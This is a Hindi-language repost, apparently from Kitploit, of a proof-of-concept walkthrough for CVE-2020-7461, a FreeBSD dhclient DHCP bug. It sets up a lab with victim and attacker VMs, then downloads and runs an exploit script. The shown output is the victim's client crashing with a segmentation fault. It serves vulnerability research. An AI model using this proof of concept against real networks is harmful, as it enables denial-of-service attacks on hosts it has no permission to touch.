CVE-2020-7461 — FreeBSD में DHCP भेद्यता (NAME:WRECK) के लिए PoC | Kitploit

साझा करें

CVE-2020-7461

FreeBSD में DHCP भेद्यता (NAME:WRECK) के लिए PoC

केवल शैक्षिक उद्देश्यों के लिए

वातावरण

होस्ट: macOS 11.2.1
Vagrant: 2.2.15
पीड़ित: FreeBSD 12.1-STABLE r364849
हमलावर: Ubuntu 20.04

अस्वीकरण

यह PoC RCE के बजाय DoS का कारण बनेगा ताकि दुरुपयोग को रोका जा सके।

PoC

बर्बाद

VirtualBox में DHCP सर्वर बंद करें

dhcp

VMs लॉन्च करें

$ cd victim
$ vagrant up
$ cd ..

$ cd attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py
vagrant@vagrant:~$ python3 poc.py
स्निफिंग हो रही है...

$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault